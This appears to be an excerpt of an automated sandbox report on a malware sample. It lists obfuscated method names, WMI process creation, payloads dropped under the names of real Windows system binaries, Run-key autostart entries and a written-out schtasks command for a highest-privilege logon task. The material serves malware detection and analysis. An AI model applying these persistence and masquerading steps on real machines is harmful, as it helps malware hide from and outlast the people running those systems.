        Source: TodjHkXUZB.exe, HYkly0uIioSV43eKwx.csHigh entropy of concatenated method names: 'gTIvnnymF', 'ghGmW3mF03FjkGkdFn', 'rVejh5af4lU38cs3rP', 'lEENTLZb2XVDJjNTBw', 'GmH3pfrUqoOWCi0lZc', 'Hb2qCQRqKDvXOon2IE', 'oTqKUttIA', 'SP7ePk3XE', 'E4ZWxxJ3k', 'f8EmB4H2w'
        Source: TodjHkXUZB.exe, YTmUWelLJsE5H5MQX3h.csHigh entropy of concatenated method names: '_6k15', '_2793', '_2gZE', '_7la2', 'j2xd', 'EQZ83Zv07m', 'PPy8dwC8yg', '_5ICS', '_3519', '_47UF'
        Source: TodjHkXUZB.exe, mhUCDRij9xVqrl4uRYC.csHigh entropy of concatenated method names: 'SwatUSOOtKxig', 'sNmV42boFivC9q5I0xS', 'h9Ln2Nb3lEY05HqXmfy', 'MrdYf8bC42KOwPkneKp', 'g0JwmXb9uAtl0AxPGFx', 'cfocSIbX46mX63yW9Kj', 'HfXOuoNzWXTWlllBZNf', 'J06lUtbnp21gYUXtymU', 'ULAm1HbFr3WXoVWLZKt', 'ik3uNybli0mYP3vZfae'
        Source: TodjHkXUZB.exe, dw0DLvQGkUrV3jKXACA.csHigh entropy of concatenated method names: 'FdlR11qppn', 'FvwRz8hENG', 'BCwpXhHnqj', 'qRsp4hIEq0', 'D00pKgEsG9', 'X3ypeBNSTH', 'xCuVfv6tKOHNyah27h1', 'SZx6Vp62wy16W61QRFv', 'TlAR136upCxilS4BEqB', 'tan5u66sM6QiIu0YhVY'
        Source: TodjHkXUZB.exe, PtWLIbShDBDXhuTELOW.csHigh entropy of concatenated method names: '_31zs', 'xZ5l', 'HXgDeQJf7d', 'fRZveYHWqm', 'uFlDmrAFCu', 'EY80KWZzSaYu2TifooI', 'WxaBhsmnT9I23IqOh1f', 'DmZg9EmoE3eIMH0GVXR', 'vCsCrhm37uMv1nbNfx2', 'T8N1KAmC8kEShXUygUR'
        Source: TodjHkXUZB.exe, wo02pewmr1JaECh1TtD.csHigh entropy of concatenated method names: 'QGVqlY7aeSa9qiRr8jx', 'r1do2U7ZlhiH4ekQ0CH', 'rOBx8Q7mwubl2EMH9PW', 'wMBK5f7rnUwC55dXm7U', 'T7mhw17Rq5sIZDpdVt9', 'oaYgaD7hJLg3PqMKFWh', 'rvf0Qe7Uek9N7oEE31n', 'C6QFkK7Ke32vcMVfn34', 'HLaACX7Qe2EYL8OZGrX', 'QhiMW67JqtLDJkCxYKg'
        Source: TodjHkXUZB.exe, LlMOIJcn5oq1gfdwDow.csHigh entropy of concatenated method names: 'gPKWg6L8C2', 'hacyUc05JvrJv8sxLxJ', 'dfnvhZ0pJmyjKALombG', 'EGiFUa0HsNvTbKMRC8x', 'JA3JE60vqHXndwpOUQc', 'Lir7j708p99gSKt3a0y', 'uS3c0C0Ewlesich0Y9Q', 'av3h3k04DArecyV5Apy', 'V2EWQQ0kGdxFKUiuKTx', 'o4bnyg0TKxTuyDgsm9f'
        Source: TodjHkXUZB.exe, qw92Squ5EwZsjf3rwkC.csHigh entropy of concatenated method names: '_1361', 'J6jt', '_3R3X', 'zq3l', 'M17p', 'QA13', '_861l', 'o252', '_8u3k', '_79ms'
        Source: TodjHkXUZB.exe, clA3SIcHvdFUkgYoWjy.csHigh entropy of concatenated method names: 'sKSBs5i0Vw6hyeUsCWa', 'L3rDXNiSB0VrH2VNIG4', 'qXxuuVidahwTBjgdCP9', 'MQO9geiIeT4BDk1GJJY', 'B9MQK6iHqTTuIyI1j78', 'MgPe6qivy94tCHAC8Yu', 'ES4Fy3i54gPt42TPX7h', 'kIakFVipdMwW2ugHcBM', 'oD327bi8dgDGViCADUS', 'ujDQb6iEHoIscH8Djyu'
        Source: TodjHkXUZB.exe, eQ4AD4i1aGKcLLYQOKQ.csHigh entropy of concatenated method names: '_4866', 'f42Y', 'gT0TqMwT05', 's7jTV7pInO', 'a5ATxd5S6w', 'LP95', 'NJ56', 'xeZ9', 'v656', 'm811'
        Source: TodjHkXUZB.exe, lYFO9G3T50ForsTVOje.csHigh entropy of concatenated method names: 'eGE0CMykVP', 'Sjn0y36OBm', 'R960opGy6q', 'ewR0tyO0WT', 'qat0fd43Ph', 'BAY05mXpGD', 'kKV0231t87', 'osO0JPVXj0', 'l8M0ZZskTV', 'OX70Bwr72Q'
        Source: TodjHkXUZB.exe, NHbRcWwiQBGvJPQZEXn.csHigh entropy of concatenated method names: 'E2AO3SlnTxn1eECU0mw', 'nFKQCjloTIXnGeBcFcH', 'T1rSgAl3t5HfHq5kDpn', 'AOAuFIlCNLQ7ZykqkSK', 'sEvxZpl98jyvIQd1dgD', 'dxpUWUlXdbpZa10Sje7', 'qO2opTlFc8QhooYberV', 'eLvZUBll0RZnY9ANn0m', 'WhpC3aFgH6Z15tcHYJK', 'oacT25Fzm5vBWmdRu2Y'
        Source: TodjHkXUZB.exe, cTGPMSlu5PAsVq13NJ5.csHigh entropy of concatenated method names: 'cVxgUZ8vBO', 'GFTgTmWHKh', 'W5WgrjqQJE', 'g0fg05LJbX', 'JmcgFGPXBR', 'GtQZc9hpSx3SaXWxTPg', 'eSWGVkh80id8rBXB6pq', 'yTUSXJhv5YS33wBi1V5', 'NMk2MSh5LiEVJu8qV6Y', 'fnlt7phEeQp9u8Sg8I7'
        Source: TodjHkXUZB.exe, awKHJwwG3TXBvTXWavR.csHigh entropy of concatenated method names: 'P8vbV9AKrNisgvtbjvk', 'kJKl5VAQvEl32L9HSnm', 'WBFb3CAJIjHsLjqFPoG', 'LdDDUPAD1jO6Pj0GYR1', 'iOmRpTA2wo0Z5qCi3jM', 'IlKVoaAunwOwhRmIyiS', 'c4t8iYAtAKE5G8Pm8kO', 'WqI3SDAsEqZooOXHg9l', 'YOr0H8AVCbIucLuMujN', 'IrkyMjAfRh6IP6XHdNh'
        Source: TodjHkXUZB.exe, JGJat0cia8spMCH0Wa1.csHigh entropy of concatenated method names: 'OHxeuug0gB', 'MpveYQkBtt', 'qLpequr0j6', 'HN6CwFGdNPqved9px7D', 'Jl2hlhGIhgimMqoRRCF', 'BOLeeaG0mCLcZcV9ixf', 's7GT5FGSRHnqnFwXuC3', 'aDgT2pGHNgwdU68wgXu', 'dEEtasGvvPMjYewe2Af', 'hv6QJQG5c2tyHOVGTNc'
        Source: TodjHkXUZB.exe, z56ICkcV9KWq1N7pIZw.csHigh entropy of concatenated method names: 'FTwe651jeG', 'LXcmaiG2sCFbV2S1imb', 'huh894GuxdPLD2XkZP3', 'H7frEkGt1ovZXVPufkE', 'KyfCB2GsSGkts0wZ0Bl', 'z5XCgnGVoE27pT9V5Ta', 'vscnkIGfXvhnGMHRMir', 'oweM9ZGMicn4X8xIaEF', 'Y8JM90GjRXl9lXSrbZ0', 'vCRVEkGetuoebyYHhsY'
        Source: TodjHkXUZB.exe, cZ3GO8sM2AqcIKBsOO.csHigh entropy of concatenated method names: 'OGYrqL9LX', 'qhq0kJKU1', 'QdTFpmpgk', 'osjRODoK0x1Ioukhpwg', 'qFCAnBohVXQV6uGxQUE', 'OUGKpRoU5mrhhRyXJrL', 'eB51vqoQYQtUuLBh2jg', 'vhKXoIoJbHg37cLq1Zj', 'CkPRHOoD2v9Kl3FkJgq', 'WaYmF2o2XFEW9FWn4YA'
        Source: TodjHkXUZB.exe, on2IyIwgmGDrbpddl9T.csHigh entropy of concatenated method names: 'HRFGPoltEHqbmcMVV5I', 'hc2xpClsN9dipuAbUBA', 'Hqy3bjlVdJwTJukTTCg', 'OibqSVlf0sKTUZyTdEk', 'FvEJ6llM0ledsxnKsN6', 'CLbcPjljKESI3CwUM3u', 'dNHqYBleoUMWIA5Nfpu', 'AZ58c8lxRBJM0qVGPGX', 'JObss6lqd6mIEnHgTLr', 'uYNweKl214fk7O2oSSl'
        Source: TodjHkXUZB.exe, hSPXoBuEO3vCb6kJbNa.csHigh entropy of concatenated method names: 'X0l5A9c4qC', 'w3E5QXiKos', 'O8J5GluJro', 'EIO5IPmMIe', 'yx05lgnGDx', 'TsD59Ff8tu', 'p4Em20fZdLWADYJLC2q', 'pIbf3Gf61TQBy2V7G2j', 'yDaj08fan1DF7hgEK6l', 'uX6uVcfmDRc03lBGdr4'
        Source: TodjHkXUZB.exe, NXGFQCcIeFmOo9nEVgo.csHigh entropy of concatenated method names: 'bmdWiQWY4d', 'fpaWhGJhs0', 'qXSocS0Ubi3jrKUJGHk', 'raXsvD0KYZ8h9w0BLF4', 'f8pSa10QysrG5NANYMh', 'n8DPyx0JSRKESNeURbS', 'aCimZ70DixS3EDtjh9U', 'xQUKRP02UBbGcNXvgKQ', 'ran4Xo0uWwB7eGHr9Ot', 'Pq7tSY0tetLnHxKk9CO'
        Source: TodjHkXUZB.exe, hTmdUMxhduZDCDsTNS.csHigh entropy of concatenated method names: 'x8Yvgu9Gq5stRDbcpA9', 'TfuBRu9iv4KGgegacmx', 'ykSvom9cAJ543m2PJWd', 'OeQSCf90636K3taJGN7', 'k1DGUX9SQ2j3n9IQZV6', 'iqM1tl9de2xBtGOITqj', 'uHaxju9Id3Ltkk55oKJ', 'ygLohG9HYQd8h6Bx71N', 'k1EyPO9vmtv1KsgLlQK', 'Wy9Jy295vEBMujhmSlf'
        Source: TodjHkXUZB.exe, tLCHOciT4NH2wNlpoKj.csHigh entropy of concatenated method names: '_5A4T', '_1q9U', '_6LT8', '_11Nd', '_3l46', 'rH14', '_7182', '_1s39', '_3158', '_436G'
        Source: TodjHkXUZB.exe, OujOWkSrd8BcLYFxiee.csHigh entropy of concatenated method names: 'g9xdgRe96A', 'JJkEXxRXrvOHBu5HnXp', 'LY31OtRFPe4tFWLGrMj', 'hPTC0qRCKpiqsfbU9Nu', 'vkUp9oR9Cr5mPLceD97', 'KrFvJQFXNO', 'CEuvZh1Quv', 'C7vvB7vtrj', 'WvHvU5bqEU', 'CQrvT6OyVT'
        Source: TodjHkXUZB.exe, hf33o0lZhnUTXNyrOhL.csHigh entropy of concatenated method names: '_889o', '_6S3P', '_687P', 'Z2D2', 'G8R7', 'vm1r', 'cTeS', 'v9I1', '_5w73', '_7aK2'
        Source: TodjHkXUZB.exe, xTmrIduNVAw0mV4lQjL.csHigh entropy of concatenated method names: 'JI25wxT3WI', 'KfQ5cGsDB1', 'xUB5PAFJYc', 'Uv112afTHTOJWWaQs5K', 'VSq37Af4XLqEOkwGvWN', 'bDCryKfkFtuXA1SCKyi', 'jrdBVwf1q5aGL3xTDqf', 'mVQ1GHfLYeGWQ2k3CdS', 'ymKGuqfPj4gl97RvdqO', 'RJTKIvfWLJH86Ghsrmj'
        Source: TodjHkXUZB.exe, zYYvfKwoqN0s5p5pekB.csHigh entropy of concatenated method names: 'CHbjHd7gM7VjSjhZTBL', 'cy4LXs7zWA087pNfmQh', 'GyyHyMBnAW8rCCuw5qw', 'eviHdEBofDPcgOhD7nk', 'rajLvMB3QoFR8pPi8ol', 'eImhvxBCRCy7EL3mF1s', 'hyF8c2B9lggveDtrRJC', 'GCVcjhBX3jCgWnwdiKF', 'OLStVkBFVSrec9N3Y3X', 'VtCFmMBlbeHQQDoLu0y'
        Source: TodjHkXUZB.exe, gLF9QOctDpeat1No2wk.csHigh entropy of concatenated method names: 'X34uOEYRaLmrjJYANVS', 'gAjWSxYhyR0Sl22lw5E', 'fNqpxMYUXZBXOIBFk1a', 'MiUDcDYKTDtOm5fegKC', 'j66Ke1YmVyccd36EIQd', 'Kw8B32YraWY7c3fvClv'
        Source: TodjHkXUZB.exe, GRnvHhuIvEeq3iHvgdY.csHigh entropy of concatenated method names: '_8QLi', 'ClR6', '_57fy', 'urx2j08OlA', 'Jsl5', '_3gFX', '_9o53', '_94w3', '_4a27', 'FD32'
        Source: TodjHkXUZB.exe, k5OwKLKcrpM9C0A3OUE.csHigh entropy of concatenated method names: 'uCsHpbHXwPuiYj8h8LE', 'ckr1BPHF8V0t7hYxDCu', 'tCbOIWHCcxWNmjCpKcH', 'tBXeGJH9OkeYR2WGIEw', 'cMEmB7CJT2', 'h2RoPpHBEjTA273RkRx', 'khiS5EHAcEP4L8XtdgR', 'VDWrDhHlvK1T4gq2Cyi', 'o8ocy8H7wu4mDTaX0i0', 'CmGpRlHOtmpAe2MdRN8'
        Source: TodjHkXUZB.exe, j4OQHPwkPljrgkAbAvR.csHigh entropy of concatenated method names: 'BpdPy7OHaakaDd4DaXi', 'OaYvHcOvSCKBuxiovkD', 'eRJqDmO5ZPnfysZW5f7', 'pDWFVFOpYbAwBAUnreL', 'eGtVAjO8wp0eFTuWnN0', 'TMjVJYOERb2qLljoslK', 'T1K27mO4PQYqXmxybJN', 'c6PobNOk21OgkLXZl7B', 'o7IOwHOdHHHxVyvbj87', 'NgbNi4OIRWy6W9BdTny'
        Source: TodjHkXUZB.exe, wA4r2McXxxpyWhH6c2l.csHigh entropy of concatenated method names: 'DdveTTr6tV', 'dEoerj8qrK', 'AEle0eEAaQ', 'vEnuNmcvZKZfcFcic6K', 'pqIjyyc5xbPhHjuPMds', 'VO15FecpnckAayGynGM', 'KeR9guc88faEoURgxch', 'ekHH08cEv74dBUHWRHh', 'Vqa9Q9c4Q1lYCeQXNmY', 'wohnU6cIDionfZJgfgn'
        Source: TodjHkXUZB.exe, X8w4YOSOnOqjGHCrR68.csHigh entropy of concatenated method names: 'yc1vf3T8oB', 'HmDv574PFC', 'TFUv24J1S3', 'rdmTQIr1AOtMJxkuBXx', 'i7HBuOrLe7uKoj7Ox4I', 'F00GTZrkwsBPJMitQdd', 'TexLs2rTRXCckbCQEKf', 'dNRaQLrPjKFH1uKeiT2', 'z9B9J0rWTJqbnIr9FVa', 'onjmM6r61nILaWUr3x8'
        Source: TodjHkXUZB.exe, AxHCd5w9BZiIpepQiDD.csHigh entropy of concatenated method names: 'gLHKwWLluq', 'DEkfHZYAgyYeAcfOihh', 'VEXhedYOZt6brElDPGc', 'Tv5SR5Y7iSIxXO7KPHe', 's9lJLGYBC5FKYMb5BMy', 'JNpJ1gYYttKjNOJVNxH', 'O7iJYsYGEFabf11wm9m', 'VjKe67Yia73BGYTdCOn', 'BWSKPbCI5q', 'n2hkd9YSfXLH5YhvBWt'
        Source: TodjHkXUZB.exe, ALE0LiSUtQmujwaKOk8.csHigh entropy of concatenated method names: '_65Q3', '_25r1', '_4377', 'hHbvxa0WFk', 'lehD3DAqBH', 'epmvap7nFc', 'XbuDqf1ZJX', 'X5gdLCm4VhmDi4GIxYE', 'WcoRdQmkTuPRfsT5vuk', 'WhTlk0m8Kww8HROjHEE'
        Source: TodjHkXUZB.exe, b2geDhwyTvWWaEPc21x.csHigh entropy of concatenated method names: 'q9sriNB5DUjBRcN7AFP', 'bW3XhrBpk6spsW46Ttx', 'WuqhhaB8ugRYvV6ySFL', 'FLwcFDBE05vitn8qmON', 'f6JOMXB4gAWdxcAuaeB', 'eRVvNRBkunimKobxrF6', 'jTrA53BHY3bU4fRbC0r', 'mpOFX7BvHOUNA4vOSNB'
        Source: TodjHkXUZB.exe, iLy5aBcCe3vof123tKo.csHigh entropy of concatenated method names: 'wMPm3ZsFFN', 'OVWmdCG4cx', 'K6d7v6IAeQfnBa1HeGH', 'hHF0WoIOMTYg55CPqkV', 'qHGbDWI7ccel1cnMtjE', 'TxlZcuIB2RW7idoiei3', 'tgOL6RIYhUnY42wBa2l', 'fGKqfNIGdn5Ju3Ylr89', 'bR9pDgIiIvMPNh4RHyh', 'BvbBDHIcZsIfbcLkAvr'
        Source: TodjHkXUZB.exe, Jae15puWIqCHvkKPpX2.csHigh entropy of concatenated method names: 'FJWH', '_147b', '_36D1', 'ra9L', '_4aQF', 'U217', 'Z4HY', 'j534', 'T26D', '_2jo9'
        Source: TodjHkXUZB.exe, L38U4CwEmbWemjGvYkV.csHigh entropy of concatenated method names: 'fw2uRW7A4S23Fx7l3U2', 'Qg6MkH7OIFiU41Ynf2v', 'aAWYF47Y5wr1spKYvXN', 'OPMXLM7GD21jN6mmqOj', 'EwZqw77iBes8vWQk9Vc', 'ae9GtN7chUEeTFpExQK', 'QNwp7Y77HUD3s5gTfe4', 'xAVciZ7BfQ4ITC0Od25'
        Source: TodjHkXUZB.exe, z3AkUQZNGFdKn5fOxO.csHigh entropy of concatenated method names: 'R7Wdg6CErlU0gYkiIUU', 'NpD0dLC4QrRZ01HbvQo', 'ocrabUCk5HpQWOwNC2L', 'd7esGqCTpxhQGNOMM1r', 'gsUqEjC1DKcf7NwgXCo', 'RoDrS1CLUuB43WAVHp4', 'BYMSfrCPvRwxsEei15B', 'ld9Ix9CWK37A79uYhEk', 'HmwbpaC62oFI3pD2QCE', 'sxAScSCafKHYbmwphGg'
        Source: TodjHkXUZB.exe, VK80bSwTKOqxqWk1pA0.csHigh entropy of concatenated method names: 'MoUEwjl1uDBL2N5tqb0', 'WRWU2alL7o8E6mWND0L', 'JQZ1HHlPVbKGFrHQH5N', 'v8crsJlWBBb3BSqLHc3', 'hZiMKVl6BvL4ECfELeF', 'Su01eBlacxMk4FDl9Qi', 'OIaUxhlZD5nINMh64D3', 'OENWbZlmInRnqtDL32M', 'HaFwmClrxcYlieQQhLp', 'i5aGYPlkcW1iJJ0Y3on'
        Source: TodjHkXUZB.exe, CLQinewdlCquO2xP1CL.csHigh entropy of concatenated method names: 'pLjVT0AL9UKM8MvvRW1', 'oy6uOkAPEP0NFyfmRpW', 'pTvfdLAWcrAaGuiUKe7', 'tJjkMOA6QtaVRVHuybs', 'Ji2jb5AafNRHQMdtqX5', 'WmmDsvAZGxToc1iUQcu', 'Rd5LwfAmcwqjMBUwq1x', 'qSGR08Armv5EyQdoxC4', 'Cpv0hxARb0u0Ptbou7C', 'IC8jsTATbYHIg56Q4Na'
        Source: TodjHkXUZB.exe, thcqMmSs2CDO8Oyo2gx.csHigh entropy of concatenated method names: '_8S14', 'zKXDl2bDDN', 'U6Mp9QkBaa', 'tEMDVmYpww', 'ye6Hi7ZZxQSBApPAAQX', 'qWjJ7EZmuHPBbjmlbN5', 'j09ZHhZrmAhRMWfO0Cn', 'TGKikLZ6WaMSrc3vAjp', 'RqNojNZaJBCgWD6emj3', 'phVr43ZREVBRJsX6bLt'
        Source: TodjHkXUZB.exe, QQSjZbKe1bMO7Kw2Rs8.csHigh entropy of concatenated method names: 'Djiq62egrq', 'Wa1I30EWUm4jYrLtWGV', 'JUYJUFE69cLGeTTPXwL', 'wx9Mn4ELphTqYEm4Tuc', 'WthsgXEP5BhvkuHiPrt', 'CIJpdIEa9739nstLSm1', 'c9cONKEZKVvyt7XrhEI', 'reGVraEmNtsDtZewq6s', 'xEVKKrEr80JcJwP0k7e', 'GCMa7RER21iXMWlfoT9'
        Source: TodjHkXUZB.exe, TrkiQuQByXGySaroHU8.csHigh entropy of concatenated method names: '_4W9n', '_3tny', 'K96K', 'Nxuk', 'ke8h', '_7111', 'wDNhps6S9gk2uVijH9v', 'PmLy1n6dRqXp9tqytCK', 'QxoGkW6I7iOXjqpJRZk', 'dDR7cP6HLxlG5XimUYC'
        Source: TodjHkXUZB.exe, X7vdy9S1boDS0yTWMDN.csHigh entropy of concatenated method names: '_9kaO', 'D2GDcT3G32', 'Rbppz5fR2j', 'jr5DPRAXWI', 'yXt0fwZJZqIsMUs9cR3', 'HEAUDEZDSCj4tU4Drry', 'y88pytZ2l0XesNmTEnN', 'APaKd1ZK1TMNyqOSr6K', 'uDxdCZZQS5OeKEu1DIa', 'mJbshRZuh5SxjtCr0pT'
        Source: TodjHkXUZB.exe, RaYJYKiHku2Vm6peuiS.csHigh entropy of concatenated method names: 'UuOAybqMWayNCKxLJfT', 'KXc320qjUGLL2cs0MXd', 'SJ0TKnqVZ2SI3O4km1S', 'atYXw8qfvB0pBgZgkkq', 'Ut7ZT2dqLT', '_32E3', '_5Ybq', 'TeaZrXfugO', 'PINZ0QIxIt', 'WFqZFCCvKP'
        Source: TodjHkXUZB.exe, QRP2FYQpEdTdccOC4jD.csHigh entropy of concatenated method names: 'LMyxrGPi12', 'KUCx0ibdQ7', 'rArByFTWxyZI5hiJU9p', 'YTUF1NTLF7OLgNh1k4C', 'vy7QFlTPbj4RWTWep57', 'LM9xqqT6tZEpIpyvxes', 'BtZuFlTaSnRoguhJch9', 'mTRO3WTZiNT46sfo2vF', 'iJwx5bTD8W', 'Ve9x29JDiX'
        Source: TodjHkXUZB.exe, TtflY7udNmuKeu5jbds.csHigh entropy of concatenated method names: 'HU82MrIZEd', 'jRF2H7NtV1', 'Hbj2wCGc7N', 'kcN2cCYZGZ', 'LCM2P7TryD', 'DYm2Esaj5w', '_35ec', 'z549', 'dE6r', '_5R26'
        Source: TodjHkXUZB.exe, gqbQWRwBWsPNqxgekjA.csHigh entropy of concatenated method names: 'Sh9x9iBLK0JtrwAl8bu', 'vXvYYTBPxqrVOM6gJf1', 'JHmrgnBW0AFoMog1E4U', 'z5S5XYB6owwyywqpBFs', 'eeXQGbBaReaiD4LYJqM', 'YGcLU8BZR7GtInjhIvw', 'JZ5lIIBTZBhMXSgLsxv', 'GJXo09B1x6DF3goD65w'
        Source: TodjHkXUZB.exe, jr56XEcvokAZfYWKfym.csHigh entropy of concatenated method names: 'wcfWFyDKpi', 'bIsW7wOHOs', 'LOqWnstvnE', 'Yj4WDsuDF3', 'iwqWS1p2jP', 'a2aWshHhaZ', 'oOEWNMlh4r', 'KnrWMSTT6U', 'o0dWH4Zy0q', 'HwpWw5NEWC'
        Source: TodjHkXUZB.exe, sIDagGQff8Edqb8i6cm.csHigh entropy of concatenated method names: 'hKRRJXqD0u', 'o8ORZF0d8r', 'tI9RBAQr0a', 'bgWRU5TrYH', 'T9eRTBxMIo', 'RrvDfdMTBy', 'l2HOzWDmPK', 'dGCD7EZAFj', 'd03D0EZp8e', 'EJeDnNSjsO'
        Source: TodjHkXUZB.exe, GjnE0vSjE2LFPQskorr.csHigh entropy of concatenated method names: 'gz35', '_4f4A', '_9ut7', '_8g7L', 'j86B', 'V779', '_39CY', 'zKzv', '_56Lx', 'lq2S'
        Source: TodjHkXUZB.exe, Nv7AcKcqiijgXu8h9oR.csHigh entropy of concatenated method names: 'YyJFjPi9mGWiNA1twJ3', 'z8jDuMiXP4PHypoSkDq', 'FN3IJ6iF2TP5JeprWyv', 'YHC9wxilxs6V7cJdaX0', 'M3KrqAi79h2dnYqXHSD', 'ylIZAgiBg4KMTGscGL6', 'iol1eoiAXSdC3qcnTql', 'x2HRvCiOCo0gXoPT8Vg', 'wZrD90iYstw2ddR87v3', 'B37r04iGaLN0rrp1jfl'
        Source: TodjHkXUZB.exe, tOCTMnKtpVAlYYQo7dk.csHigh entropy of concatenated method names: 'hktmit7F1v', 'yhVmhsYtDk', 'GHCmbgk9Ur', 'lnDmj7Ik3N', 'PHfpkvIUUU8uykl1E27', 'if5SySIK9PFuQNneVTu', 'nNtlECIQnKUcjVUGKZB', 'lrV6M6IJ7ib54y9OcyX', 'OodtPUID4xNBKTpUOyP', 'XiTf0kI2BoTYew3j45N'
        Source: TodjHkXUZB.exe, ATU0SZJsjtNrjLp0Ht.csHigh entropy of concatenated method names: 'nf8TeE92fi2ja7fA9aZ', 'a8Zvdq9uMsP3Zlh3wJq', 'r3SLxC9tW7BcbWyNeir', 'tMTCRU9sjhyN4VFbe7Y', 'lpXHoN9VoUV1Sxwkk1P', 'LGrTh49JVVCtJdBeQeI', 'Tnyi2P9DVCTHMr7EK3W'
        Source: TodjHkXUZB.exe, WlDZUHiLBagBgn6GWGy.csHigh entropy of concatenated method names: 'xAcTb2NCR5', '_46t2', '_6tc2', '_74Ib', 'NMqTjIGYRw', 'G534', 'NsSTC5PTV6', 'a59TylNp2f', '_7259', 'mhaToFAjoH'
        Source: TodjHkXUZB.exe, R8E67yu6NtB7Dw3BlGK.csHigh entropy of concatenated method names: 'Ehi57xARkB', 'nAt5njisqY', 'eG95DWEaTL', 't5C5SrZmVx', 'lTx5sVRUrt', 'nHXcuMf0UOsjdEp50TZ', 'yg3G9rfikEGACSJLDUN', 'XRhZGtfck6Ktlju1AGB', 'xLOiTOfS26jZwy9ZFSp', 'Py1YQ9fdedxKBiylBmE'
        Source: TodjHkXUZB.exe, lfEQG3wS91AXouIi2ZS.csHigh entropy of concatenated method names: 'cAY4AS50Th', 'AD3KalFNE8TBnEwSjKC', 'zsr3CJFbeFElbfAfNNa', 'eRxTgZFqa4uGe2NAflK', 'FHwZBAFwswMVDi8chuu', 'NMswxPFy9dLQMYNDQ4Y', 'eABYmLFuHHMXmkWI6J3', 'N3SaFfFtyoT47IRSfW9', 'WCZxR6FsH9rVeGyNPIU', 'aDJXcFFVP0nDAUxBUCp'

        Persistence and Installation Behavior

        barindex
        Creates processes via WMI
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
        Drops executables to the windows directory (C:\Windows) and starts them
        Source: unknownExecutable created and started: C:\Windows\System32\nettraceex\dllhost.exe
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile created: C:\Users\Public\Pictures\crQsxZqWXkIyquEQmzM.exeJump to dropped file
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile created: C:\Users\user\Saved Games\crQsxZqWXkIyquEQmzM.exeJump to dropped file
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile created: C:\PerfLogs\RuntimeBroker.exeJump to dropped file
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile created: C:\Users\user\Searches\TextInputHost.exeJump to dropped file
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile created: C:\Windows\System32\nettraceex\dllhost.exeJump to dropped file
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile created: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeJump to dropped file
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile created: C:\Windows\System32\nettraceex\dllhost.exeJump to dropped file

        Boot Survival

        barindex
        Creates an autostart registry key pointing to binary in C:\Windows
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dllhostJump to behavior
        Creates multiple autostart registry keys
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBrokerJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dllhostJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run crQsxZqWXkIyquEQmzMJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run TextInputHostJump to behavior
        Uses schtasks.exe or at.exe to add and modify task schedules
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "crQsxZqWXkIyquEQmzM" /sc ONLOGON /tr "'C:\ProgramData\Documents\My Pictures\crQsxZqWXkIyquEQmzM.exe'" /rl HIGHEST /f
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run crQsxZqWXkIyquEQmzMJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run crQsxZqWXkIyquEQmzMJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBrokerJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBrokerJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run TextInputHostJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run TextInputHostJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dllhostJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dllhostJump to behavior
